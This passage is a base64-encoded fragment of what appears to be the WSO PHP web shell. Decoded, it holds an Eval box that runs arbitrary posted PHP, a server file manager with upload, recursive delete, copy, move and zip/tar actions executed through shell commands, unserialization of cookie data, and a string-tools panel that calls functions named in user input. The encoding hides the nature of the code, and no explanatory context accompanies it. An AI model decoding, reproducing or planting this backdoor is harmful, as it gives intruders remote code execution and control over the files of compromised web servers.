c3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1 | |
Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsNCgllY2hvICcgPGlucHV0 | |
IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9DT09LSUVbbWQ1KCRfU0VSVkVS | |
WydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwv | |
Zm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlz | |
cGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KCWlmKCFlbXB0 | |
eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsN | |
CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCgl9DQoJZWNobyAnPC9w | |
cmU+PC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4o | |
KSB7DQogICAgaWYgKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpDQogICAgICAgICRfQ09PS0lFWydm | |
J10gPSBAdW5zZXJpYWxpemUoJF9DT09LSUVbJ2YnXSk7DQogICAgDQoJaWYoIWVtcHR5KCRfUE9T | |
VFsncDEnXSkpIHsNCgkJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQkJY2FzZSAndXBsb2FkRmls | |
ZSc6DQoJCQkJaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSdd | |
LCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpDQoJCQkJCWVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7 | |
DQoJCQkJYnJlYWs7DQoJCQljYXNlICdta2Rpcic6DQoJCQkJaWYoIUBta2RpcigkX1BPU1RbJ3Ay | |
J10pKQ0KCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7DQoJCQkJYnJlYWs7DQoJCQlj | |
YXNlICdkZWxldGUnOg0KCQkJCWZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KCQkJCQkkcGF0 | |
aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOw0KCQkJCQkkZGgg | |
ID0gb3BlbmRpcigkcGF0aCk7DQoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkg | |
IT09IGZhbHNlKSB7DQoJCQkJCQkkaXRlbSA9ICRwYXRoLiRpdGVtOw0KCQkJCQkJaWYgKCAoYmFz | |
ZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApDQoJCQkJ | |
CQkJY29udGludWU7DQoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsNCgkJCQkJCWlmICgk | |
dHlwZSA9PSAiZGlyIikNCgkJCQkJCQlkZWxldGVEaXIoJGl0ZW0pOw0KCQkJCQkJZWxzZQ0KCQkJ | |
CQkJCUB1bmxpbmsoJGl0ZW0pOw0KCQkJCQl9DQoJCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQkJCUBy | |
bWRpcigkcGF0aCk7DQoJCQkJfQ0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJ | |
CWZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlm | |
KCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQoJCQkJ | |
CQkkZiA9IHVybGRlY29kZSgkZik7DQoJCQkJCQlpZihpc19kaXIoJGYpKQ0KCQkJCQkJCWRlbGV0 | |
ZURpcigkZik7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygkZik7DQoJCQkJCX0NCgkJCQli | |
cmVhazsNCgkJCWNhc2UgJ3Bhc3RlJzoNCgkJCQlpZigkX0NPT0tJRVsnYWN0J10gPT0gJ2NvcHkn | |
KSB7DQoJCQkJCWZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpew0KCQkJCQkJaWYoaXNfZGly | |
KCRjLiRzKSl7DQoJCQkJCQkJbWtkaXIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQG9wZW5kaXIoJGMu | |
JHMpOw0KCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCgkJCQkJ | |
CQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljb3B5X3Bhc3Rl | |
KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMp | |
KQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX0NP | |
T0tJRVsnZiddIGFzICRmKQ0KCQkJCQkJY29weV9wYXN0ZSgkX0NPT0tJRVsnYyddLCRmLCAkR0xP | |
QkFMU1snY3dkJ10pOw0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnbW92ZScpIHsN | |
CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMu | |
JHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7 | |
DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlp | |
ZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMu | |
JHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQ0K | |
CQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX0NPT0tJ | |
RVsnZiddIGFzICRmKQ0KCQkJCQkJQHJlbmFtZSgkX0NPT0tJRVsnYyddLiRmLCAkR0xPQkFMU1sn | |
Y3dkJ10uJGYpOw0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgew0KCQkJ | |
CQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAg | |
ICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAo | |
JHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAg | |
ICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9y | |
ZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg | |
ICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBj | |
b250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9D | |
T09LSUVbJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlw | |
LT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAg | |
ICAgICAgICAgZWxzZWlmKEBpc19kaXIoJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAg | |
ICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRv | |
ckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsNCiAgICAg | |
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5 | |
PT4kdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlw | |
LT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsNCiAgICAgICAgICAgICAgICAgICAgICAg | |
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAg | |
ICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRp | |
cigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNs | |
b3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0N | |
CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgew0KCQkJCQlpZihjbGFz | |
c19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9 | |
IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09P | |
S0lFWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5v | |
cGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg | |
ICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAg | |
ICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0N | |
CiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0g | |
ZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgew0KICAgICAgICAgICAgICAgICAgICBj | |
aGRpcigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9 | |
IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAg | |
ICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10p | |
IC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsNCiAgICAgICAgICAgICAgICAg | |
ICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJdW5zZXQoJF9DT09LSUVbJ2Yn | |
XSk7DQogICAgICAgICAgICAgICAgc2V0Y29va2llKCdmJywgJycsIHRpbWUoKSAtIDM2MDApOw0K | |
CQkJCWJyZWFrOw0KCQkJZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NU | |
WydwMSddKSkgew0KCQkJCQlXU09zZXRjb29raWUoJ2FjdCcsICRfUE9TVFsncDEnXSk7DQoJCQkJ | |
CVdTT3NldGNvb2tpZSgnZicsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsNCgkJCQkJV1NPc2V0 | |
Y29va2llKCdjJywgQCRfUE9TVFsnYyddKTsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCX0NCgl9DQog | |
ICAgd3NvSGVhZGVyKCk7DQoJZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1j | |
b250ZW50PjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7PC9zY3JpcHQ+JzsNCgkkZGlyQ29udGVudCA9 | |
IHdzb1NjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2Qn | |
XSk7DQoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMg | |
Zm9sZGVyISc7d3NvRm9vdGVyKCk7IHJldHVybjsgfQ0KCWdsb2JhbCAkc29ydDsNCgkkc29ydCA9 | |
IGFycmF5KCduYW1lJywgMSk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYocHJl | |
Z19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQoJ | |
CQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KCX0NCmVjaG8gIjxz | |
Y3JpcHQ+DQoJZnVuY3Rpb24gc2EoKSB7DQoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxl | |
bmd0aDtpKyspDQoJCQlpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykN | |
CgkJCQlkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNo | |
ZWNrZWQ7DQoJfQ0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBj | |
ZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPg0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9 | |
cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdz | |
YSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNN | |
YW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0 | |
aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRz | |
b3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdn | |
KFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2Rp | |
Znk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdn | |
KFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1p | |
c3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsNCgkkZGlycyA9ICRmaWxlcyA9 | |
IGFycmF5KCk7DQoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQoJZm9yKCRpPTA7JGk8JG47JGkr | |
Kykgew0KCQkkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0p | |
KTsNCgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7 | |
DQoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ3BhdGgn | |
ID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQoJCQkJCSAnbW9kaWZ5JyA9PiBk | |
YXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRl | |
bnRbJGldKSksDQoJCQkJCSAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCdd | |
IC4gJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNb | |
J2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnb3duZXInID0+ICRvd1snbmFtZSddPyRv | |
d1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdncm91cCcgPT4g | |
JGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pDQoJCQkJ | |
CSk7DQoJCWlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJ | |
CQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsN | |
CgkJZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJ | |
CQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xp | |
bmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsNCgkJZWxzZWlmKEBpc19kaXIoJEdMT0JB | |
TFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkN | |
CgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsN | |
Cgl9DQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KCWZ1bmN0aW9uIHdzb0NtcCgkYSwgJGIp | |
IHsNCgkJaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpDQoJCQlyZXR1cm4gc3RyY21w | |
KHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9C | |
QUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJCWVsc2UNCgkJ | |
CXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydz | |
b3J0J11bMV0/MTotMSk7DQoJfQ0KCXVzb3J0KCRmaWxlcywgIndzb0NtcCIpOw0KCXVzb3J0KCRk | |
aXJzLCAid3NvQ21wIik7DQoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoJ | |
JGwgPSAwOw0KCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7DQoJCWVjaG8gJzx0cicuKCRsPycgY2xh | |
c3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSIn | |
LnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMg | |
b25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxc | |
JycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hh | |
cnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiAnIC4g | |
KGVtcHR5ICgkZlsnbGluayddKSA/ICcnIDogInRpdGxlPSd7JGZbJ2xpbmsnXX0nIikgLiAnPjxi | |
PlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3Rk | |
Pjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT93c29WaWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsn | |
dHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10u | |
Jy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9v | |
bHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZb | |
J3Blcm1zJ10NCgkJCS4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9v | |
bHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+Ujwv | |
YT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNv | |
ZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmls | |
ZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxl | |
bmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xp | |
Y2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywg | |
XCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDoxOw0K | |
CX0NCgllY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1h | |
IHZhbHVlPSdGaWxlc01hbic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAu | |
IGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPGlucHV0IHR5cGU9aGlk | |
ZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BP | |
U1RbJ2NoYXJzZXQnXTonJykuIic+DQoJPHNlbGVjdCBuYW1lPSdwMSc+PG9wdGlvbiB2YWx1ZT0n | |
Y29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0 | |
aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgaWYoY2xhc3NfZXhpc3Rz | |
KCdaaXBBcmNoaXZlJykpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc+Q29tcHJl | |
c3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+VW5jb21wcmVzcyAoemlwKTwv | |
b3B0aW9uPiI7DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVzcyAodGFyLmd6 | |
KTwvb3B0aW9uPiI7DQogICAgaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRf | |
Q09PS0lFWydmJ10pKQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUg | |
LyBDb21wcmVzczwvb3B0aW9uPiI7DQogICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsNCiAgICBp | |
ZighZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgk | |
X0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpKSkN | |
CiAgICAgICAgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9 | |
J3dzb18iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfQ09PS0lFWydhY3QnXSA9PSAnemlw | |
Jz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdz | |
dWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQoJd3Nv | |
Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgew0KCWlmKCFmdW5j | |
dGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVj | |
YmluKGhleGRlYygkcCkpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtm | |
dW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319DQoJaWYoIWZ1 | |
bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScn | |
O2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFsk | |
aSsxXSkpO31yZXR1cm4gJHI7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkg | |
e2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRp | |
KSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9 | |
fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxs | |
X3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUn | |
LmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJJHN0cmluZ1Rv | |
b2xzID0gYXJyYXkoDQoJCSdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQoJCSdC | |
YXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQoJCSdVcmwgZW5jb2RlJyA9PiAndXJs | |
ZW5jb2RlJywNCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KCQknRnVsbCB1cmxlbmNv | |
ZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQoJCSdtZDUgaGFzaCcgPT4gJ21kNScsDQoJCSdzaGEx | |
IGhhc2gnID0+ICdzaGExJywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDMzInID0+ICdj | |
cmMzMicsDQoJCSdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLA0KCQknSEVYIHRvIEFTQ0lJ | |
JyA9PiAnaGV4MmFzY2lpJywNCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLA0KCQknSEVYIHRv | |
IEJJTicgPT4gJ2hleDJiaW4nLA0KCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsDQoJCSdERUMg | |
dG8gQklOJyA9PiAnZGVjYmluJywNCgkJJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLA0KCQknQklO | |
IHRvIERFQycgPT4gJ2JpbmRlYycsDQoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRv | |
bG93ZXInLA0KCQknU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywNCgkJJ0h0 | |
bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywNCgkJJ1N0cmluZyBsZW5ndGgn | |
ID0+ICdzdHJsZW4nLA0KCSk7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCVdTT3Nl | |
dGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOw0KCQlvYl9z | |
dGFydCgpOw0KCQlpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpDQoJCQll | |
Y2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOw0KCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRF | |
bGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVt | |
ZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFs | |
